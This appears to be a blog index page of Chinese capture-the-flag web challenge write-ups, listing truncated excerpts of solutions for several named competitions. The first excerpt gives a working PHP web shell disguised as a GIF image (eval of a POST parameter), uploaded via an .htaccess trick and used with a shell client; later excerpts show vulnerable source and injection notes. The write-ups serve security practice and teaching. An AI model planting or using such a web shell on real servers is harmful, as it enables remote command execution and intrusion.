[NewStarCT_2023_公开赛道]Upload_again!
文件上传(先上传 htaccess 文件(虽然访问不了,但是可以用哇)):
上传 jpg 文件:
GIF89a
<script language="php">
eval($_POST['cmd']);
</script>
蚁剑链接
参考链接:https://blog.csdn.net/Myon5/article/details/133819758
more...
[LineCTF2022]BB
# [LineCTF2022]BB
<?php error_reporting(0); function bye($s, $ptn){ if(preg_match($ptn, $s)){ return false; } return true; } foreach($_GET["env"] as $k=>$v){ if(bye($k, "/=/i") && bye($v,...
more...
[红明谷CTF-2021]EasyTP
# [红明谷 CTF 2021] EasyTP
随便输入网址得到是 tp3.2.3 的模板题
直接搜索其漏洞 https://f5.pm/go-53579.html(这个是从最开始分析的,还是很清晰的)
# 解法一:报错注入
<?phpnamespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件 ); protected $config =...
more...
[HMGCTF2022]Smarty-Calculator
# [HMGCTF2022]Smarty Calculator
进入页面,随便输入一个字符,发现还未登录,没有提示就是文件泄露
www.zip,发现文件,泄露查看源码:
if(isset($_POST['data'])){ if(isset($_COOKIE['login'])) { $data = waf($_POST['data']); echo "<div...
more...
ISCTF2024复现
# ISCTF2024 复现
# 25 时晓山瑞希生日会
htt 头伪造:
伪造日期:
搜索得知 25 时生日会 是在八月二十七举办,伪造日期即可得到 flag
Date: Tue, 27 Aug 2024 12:41:59 GMT# 小蓝鲨的冒险
<?php error_reporting(0);highlight_file(__FILE__);$a = "isctf2024";$b = $_GET["b"];@parse_str($b);echo...
more...
[网鼎杯-2020-半决赛]BabyJS
# [网鼎杯 2020 半决赛] BabyJS
nodejs 题:
经典进去就是黑屏加 {}(牢 json 数据了)
有源码(关键的就是这个地方):
var express = require('express');var config = require('../config');var url=require('url');var child_process=require('child_process');var fs=require('fs');var...
more...
[极客大挑战-2020]Roamphp4-Rceme
# [极客大挑战 2020] Roamphp4-Rceme
进入页面:
有了这个就是 /.index.php.swp 用 vim 获取源码:
<?phperror_reporting(0);session_start();if(!isset($_SESSION['code'])){ $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);}if(isset($_POST['cmd']) and...
more...
[BSidesCF-2020]Cards
# [BSidesCF 2020]Cards
发现大量字符,用{}包括的是json数据“”:“”
我们在每次请求都会有一个 SecretState 参数,用来保存游戏状态,并且在客户端和服务端同步。这个参数没法篡改。每次请求,服务端都会生成一个新的 SecretState,但是旧的 SecretState 并不失效,问题就出在于此。
游戏如果赢了,就更新 SecretState,如果输了,则不更新 SecretState。这样就可以达到类似一种分数只增不减的效果。
但是有个问题,下注之后要开牌的话,必须得用新的...
more...